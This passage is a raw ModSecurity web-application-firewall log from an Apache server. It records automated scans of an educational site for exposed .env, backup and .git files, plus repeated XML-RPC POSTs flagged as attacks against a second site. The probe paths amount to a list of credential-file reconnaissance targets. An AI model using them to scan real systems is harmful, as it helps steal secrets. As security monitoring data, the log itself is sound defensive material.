Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/%E3%83%AD%E3%82%B0/head"] [unique_id "aE9sDDC9bb-fhYp4LpFUNQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035468607754 686624 (- - -) Stopwatch2: 1750035468607754 686624; combined=1691, p1=370, p2=1225, p3=0, p4=0, p5=95, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --28894730-Z-- --3e94cb5b-A-- [16/Jun/2025:06:27:52.344107 +0530] aE9sD5_Rv4EBtUyS5c4JCQAAAAU 185.177.72.210 39510 127.0.0.1 7081 --3e94cb5b-B-- GET /rasax/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e94cb5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=845be2900639f8b3974903c5f6c209331750035472; expires=Mon, 16 Jun 2025 01:57:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e94cb5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/rasax/.env"] [unique_id "aE9sD5_Rv4EBtUyS5c4JCQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035471683218 660952 (- - -) Stopwatch2: 1750035471683218 660952; combined=1880, p1=373, p2=1416, p3=0, p4=0, p5=90, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e94cb5b-Z-- --0ffba217-A-- [16/Jun/2025:06:27:56.976202 +0530] aE9sFNNEcm-DhAkC0ibftAAAAAY 185.177.72.210 39632 127.0.0.1 7081 --0ffba217-B-- GET /examples/with-universal-configuration-build-time/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0ffba217-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1eb3ede87872f6de382f9f111805ac471750035476; expires=Mon, 16 Jun 2025 01:57:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0ffba217-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/with-universal-configuration-build-time/.env"] [unique_id "aE9sFNNEcm-DhAkC0ibftAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035476325683 650584 (- - -) Stopwatch2: 1750035476325683 650584; combined=2535, p1=465, p2=1960, p3=0, p4=0, p5=109, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0ffba217-Z-- --af95a613-A-- [16/Jun/2025:06:28:05.141013 +0530] aE9sHDC9bb-fhYp4LpFUPAAAAAM 185.177.72.210 45578 127.0.0.1 7081 --af95a613-B-- GET /web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --af95a613-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6c3946a95f4c083dc9ee9c9c5c5f3b261750035484; expires=Mon, 16 Jun 2025 01:58:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --af95a613-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web/.env"] [unique_id "aE9sHDC9bb-fhYp4LpFUPAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035484477849 663244 (- - -) Stopwatch2: 1750035484477849 663244; combined=1984, p1=398, p2=1461, p3=0, p4=0, p5=125, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --af95a613-Z-- --93a7e17a-A-- [16/Jun/2025:06:28:06.251341 +0530] aE9sHZ_Rv4EBtUyS5c4JDwAAAAU 185.177.72.210 45630 127.0.0.1 7081 --93a7e17a-B-- GET /:5000/configura.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --93a7e17a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=410ca6a0b742970e600dab667600b9b21750035486; expires=Mon, 16 Jun 2025 01:58:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --93a7e17a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:5000/configura.backup"] [unique_id "aE9sHZ_Rv4EBtUyS5c4JDwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035485571812 679605 (- - -) Stopwatch2: 1750035485571812 679605; combined=2106, p1=382, p2=1608, p3=0, p4=0, p5=116, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --93a7e17a-Z-- --0e968232-A-- [16/Jun/2025:06:28:11.426573 +0530] aE9sIpLRu31pT8F-J2ZPfgAAAAc 185.177.72.210 58772 127.0.0.1 7081 --0e968232-B-- GET /:9000/.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0e968232-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=91c8f6be7cd8f52af920f5f7b4f8c1f21750035491; expires=Mon, 16 Jun 2025 01:58:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0e968232-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.save.1"] [unique_id "aE9sIpLRu31pT8F-J2ZPfgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035490741176 685460 (- - -) Stopwatch2: 1750035490741176 685460; combined=2375, p1=471, p2=1820, p3=0, p4=0, p5=84, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0e968232-Z-- --571f5b63-A-- [16/Jun/2025:06:28:18.361299 +0530] aE9sKdNEcm-DhAkC0ibfvQAAAAY 185.177.72.210 59008 127.0.0.1 7081 --571f5b63-B-- GET /:10000/tests/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --571f5b63-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a123e61789d9c6f58dc31db2e889e101750035498; expires=Mon, 16 Jun 2025 01:58:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --571f5b63-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/tests/.env"] [unique_id "aE9sKdNEcm-DhAkC0ibfvQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035497705763 655601 (- - -) Stopwatch2: 1750035497705763 655601; combined=1969, p1=380, p2=1485, p3=0, p4=0, p5=104, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --571f5b63-Z-- --1cc00552-A-- [16/Jun/2025:06:28:24.201328 +0530] aE9sL1XriBOgqnJNgkwkSwAAAAA 128.199.112.101 47286 127.0.0.1 7081 --1cc00552-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1cc00552-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1cc00552-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9sL1XriBOgqnJNgkwkSwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035503240023 961371 (- - -) Stopwatch2: 1750035503240023 961371; combined=2586, p1=411, p2=1711, p3=50, p4=74, p5=211, sr=112, sw=129, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1cc00552-Z-- --d5f69602-A-- [16/Jun/2025:06:29:25.023186 +0530] aE9sbJ16HYQp4eDf7R1ZAwAAAAI 128.199.112.101 44730 127.0.0.1 7081 --d5f69602-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d5f69602-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d5f69602-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9sbJ16HYQp4eDf7R1ZAwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035564077704 945542 (- - -) Stopwatch2: 1750035564077704 945542; combined=2434, p1=380, p2=1643, p3=41, p4=58, p5=196, sr=99, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5f69602-Z-- --9947004a-A-- [16/Jun/2025:06:29:27.228301 +0530] aE9sblXriBOgqnJNgkwkbAAAAAA 185.177.72.210 44972 127.0.0.1 7081 --9947004a-B-- GET /:8080/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9947004a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=59529bdd059ffc676262b5073f7399e61750035567; expires=Mon, 16 Jun 2025 01:59:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9947004a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/v2/.env"] [unique_id "aE9sblXriBOgqnJNgkwkbAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035566511960 716423 (- - -) Stopwatch2: 1750035566511960 716423; combined=1700, p1=409, p2=1189, p3=0, p4=0, p5=101, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9947004a-Z-- --256e4f15-A-- [16/Jun/2025:06:29:28.271439 +0530] aE9sb5LRu31pT8F-J2ZPqAAAAAc 185.177.72.210 45022 127.0.0.1 7081 --256e4f15-B-- GET /:10000/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --256e4f15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=635e05bb20f54c320921b1648c0cacdd1750035568; expires=Mon, 16 Jun 2025 01:59:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --256e4f15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/v1/.env"] [unique_id "aE9sb5LRu31pT8F-J2ZPqAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035567591376 680126 (- - -) Stopwatch2: 1750035567591376 680126; combined=1321, p1=286, p2=942, p3=0, p4=0, p5=92, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --256e4f15-Z-- --9d23606f-A-- [16/Jun/2025:06:29:32.536157 +0530] aE9sc1XriBOgqnJNgkwkcAAAAAA 185.177.72.210 35434 127.0.0.1 7081 --9d23606f-B-- GET /:8443/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9d23606f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ecb8a3d6adb322c8c70938279e18ab51750035572; expires=Mon, 16 Jun 2025 01:59:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9d23606f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/app/config/.env"] [unique_id "aE9sc1XriBOgqnJNgkwkcAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035571872495 663767 (- - -) Stopwatch2: 1750035571872495 663767; combined=2358, p1=505, p2=1741, p3=0, p4=0, p5=112, sr=131, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9d23606f-Z-- --3f2bae42-A-- [16/Jun/2025:06:29:37.293432 +0530] aE9seJ_Rv4EBtUyS5c4JQAAAAAU 185.177.72.210 35738 127.0.0.1 7081 --3f2bae42-B-- GET /app/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f2bae42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1807141af30af52f0f272b308da62ab71750035577; expires=Mon, 16 Jun 2025 01:59:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f2bae42-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/.env.save"] [unique_id "aE9seJ_Rv4EBtUyS5c4JQAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035576582500 711022 (- - -) Stopwatch2: 1750035576582500 711022; combined=2043, p1=432, p2=1498, p3=0, p4=0, p5=112, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f2bae42-Z-- --1726e749-A-- [16/Jun/2025:06:30:07.490124 +0530] aE9slhqlZKl9zSjMrhQ38wAAAAE 185.177.72.210 56684 127.0.0.1 7081 --1726e749-B-- GET /boxes/oracle-vagrant-boxes/OLCNE/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1726e749-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=20abc78f1128544abeb30f27788e22431750035607; expires=Mon, 16 Jun 2025 02:00:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1726e749-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/boxes/oracle-vagrant-boxes/OLCNE/.env"] [unique_id "aE9slhqlZKl9zSjMrhQ38wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035606803312 686882 (- - -) Stopwatch2: 1750035606803312 686882; combined=1731, p1=407, p2=1233, p3=0, p4=0, p5=90, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1726e749-Z-- --f620ec61-A-- [16/Jun/2025:06:30:12.103622 +0530] aE9sm6pdvXW4_hknQUU4-wAAAAo 185.177.72.210 34522 127.0.0.1 7081 --f620ec61-B-- GET /.git/logs/refs/remotes/origin/master HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: 